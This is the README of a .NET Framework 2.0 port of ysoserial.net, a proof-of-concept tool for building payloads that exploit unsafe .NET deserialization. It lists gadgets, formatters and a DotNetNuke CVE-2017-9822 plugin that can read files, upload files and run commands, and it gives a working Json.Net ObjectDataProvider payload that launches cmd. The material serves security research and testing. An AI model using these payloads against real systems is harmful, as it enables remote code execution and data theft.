

VulnerableDotNetHTTPRemoting/ysoserial.net-v2 at master

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Content

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parent directory

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](https://github.com/nccgroup/VulnerableDotNetHTTPRemoting/tree/master) | | |

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LICENSE.txt

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README.md

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azure-pipelines.yml

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[ysoserial.sln](#)

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ysoserial.net for .NET Framework 2.0 with limitation

[]()

A proof-of-concept tool for generating payloads that exploit unsafe .NET object deserialization.

This a copy of [ysoserial.net](#) (15/03/2018) that has been changed to work with .NET Framework 2.0 by [irsdl](#).

Limit: Although this project can be used to exploit applications that use .NET Framework v2.0, it also requires .NET Framework 3.5 to be installed on the target box as the gadgets depend on it. This problem will be resolved if new gadgets in .NET Framework 2.0 become identified in the future.

Description

[]()

ysoserial.net is a collection of utilities and property-oriented programming "gadget chains" discovered in common .NET libraries that can, under the right conditions, exploit .NET applications performing unsafe deserialization of objects. The main driver program takes a user-specified command and wraps it in the user-specified gadget chain, then serializes these objects to stdout. When an application with the required gadgets on the classpath unsafely deserializes this data, the chain will automatically be invoked and cause the command to be executed on the application host.

It should be noted that the vulnerability lies in the application performing unsafe deserialization and NOT in having gadgets on the classpath.

This project is inspired by [Chris Frohoff's ysoserial project](#)

Disclaimer

[]()

This software has been created purely for the purposes of academic research and for the development of effective defensive techniques, and is not intended to be used to attack systems except where explicitly authorized. Project maintainers are not responsible or liable for misuse of the software. Use responsibly.

This software is a personal project and not related with any companies, including Project owner and contributors employers.

Usage

[]()

```
$ ./ysoserial -h
```

ysoserial.net generates deserialization payloads **for** a variety of .NET formatters.

Available formatters:

ActivitySurrogateSelectorFromFile (ActivitySurrogateSelector gadget by James Forshaw. **This** gadget interprets the command parameter as path to the .cs file that should be compiled as exploit **class**. **Use** semicolon to separate the file **from** additionally required assemblies, e. g., '-c ExploitClass.cs;./dlls/System.Windows.Forms.dll'.)

Formatters:

- BinaryFormatter
- ObjectStateFormatter
- SoapFormatter
- LosFormatter

ActivitySurrogateSelector (ActivitySurrogateSelector gadget by James Forshaw. **This** gadget ignores the command parameter and executes the constructor of ExploitClass **class**.)

Formatters:

- BinaryFormatter
- ObjectStateFormatter
- SoapFormatter
- LosFormatter

ObjectDataProvider (ObjectDataProvider Gadget by Oleksandr Mirosh and Alvaro Munoz)

Formatters:

- Xaml
- Json.Net
- FastJson
- JavaScriptSerializer
- YamlDotNet < 5.0.0

Available plugins:

altserialization (Generates payload **for** HttpStaticObjectsCollection or SessionStateItemCollection)

ApplicationTrust (Generates XML payload **for** the ApplicationTrust **class**)

Clipboard (Generates payload **for** DataObject and copy it into the clipboard - ready to be pasted in affected apps)

DotNetNuke (Generates payload **for** DotNetNuke CVE-2017-9822)

Resx (Generates RESX files)

TransactionManagerReenlist (Generates payload **for** the TransactionManager.Reenlist method)

Usage: ysoserial_frmv2.exe [options]

Options:

-p, --plugin=VALUE the plugin to be used

-o, --output=VALUE	the output format (raw base64).
-g, --gadget=VALUE	the gadget chain.
-f, --formatter=VALUE	the formatter.
-c, --command=VALUE	the command to be executed.
-t, --test	whether to run payload locally. Default: false
-h, --help	show this message and exit

Note: XmlSerializer and DataContractSerializer formatters generate a wrapper Xml format including the expected type on the "type" attribute of the root node, as used, for example, in DotNetNuke. You may need to modify the generated xml based on how XmlSerializer gets the expected type in your case.

Plugins

[]()

.NET v2 Note: Currently all plugins rely on ActivitySurrogateSelectorFromFile and their command argument should follow its format e. g., '-c ExploitClass.cs;./dlls/System.Windows.Forms.dll'

Ysoserial.Net can be used to generate raw payloads or more complex ones using a plugin architecture. To use plugins, use `-p <plugin name>` followed by the plugin options (the rest of ysoserial.net options will be ignored). Eg:

```
$ ./ysoserial.exe -p DotNetNuke -m read_file -f win.ini
```

For more help on plugin options use `-h` along with `-p <plugin name>`. Eg:

```
$ ./ysoserial.exe -h -p DotNetNuke
ysoserial.net generates deserialization payloads for a variety of .NET formatters.
```

Plugin:

DotNetNuke (Generates payload **for** DotNetNuke CVE-2017-9822)

Options:

-m, --mode=VALUE	the payload mode: read_file, upload_file, run_command.
-c, --command=VALUE	the command to be executed in run_command mode.
-u, --url=VALUE	the url to fetch the file from in write_file mode.
-f, --file=VALUE	the file to read in read_file mode or the file to write to in write_file_mode.

Examples

[]()

Generate a calc.exe payload for Json.Net using *ObjectDataProvider* gadget.

[]()

```
$ ./ysoserial.exe -f Json.Net -g ObjectDataProvider -o raw -c "calc" -t
{
  '$type': 'System.Windows.Data.ObjectDataProvider, PresentationFramework,
Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
  'MethodName': 'Start',
  'MethodParameters': {
    '$type': 'System.Collections.ArrayList, mscorlib, Version=4.0.0.0,
Culture=neutral, PublicKeyToken=b77a5c561934e089',
    '$values': ['cmd', '/ccalc']
  },
  'ObjectInstance': { '$type': 'System.Diagnostics.Process, System, Version=4.0.0.0,
Culture=neutral, PublicKeyToken=b77a5c561934e089' }
}
```

Contributing

[]()

- Fork it
- Create your feature branch (`git checkout -b my-new-feature`)
- Commit your changes (`git commit -am 'Add some feature'`)
- Push to the branch (`git push origin my-new-feature`)
- Create new Pull Request

Thanks

[]()

Special thanks to all contributors:

- [irsdl](#)
- [JarLob](#)
- [DS-Kurt-Boberg](#)
- [mwulftange](#)
- [yallie](#)
- [paralax](#)

Additional Reading

[]()

- [Attacking .NET serialization](#)
- [Friday the 13th: JSON Attacks - Slides](#)
- [Friday the 13th: JSON Attacks - Whitepaper](#)
- [Friday the 13th: JSON Attacks - Video\(demos\)](#)
- [Are you my Type?](#)
- [Exploiting .NET Managed DCOM](#)

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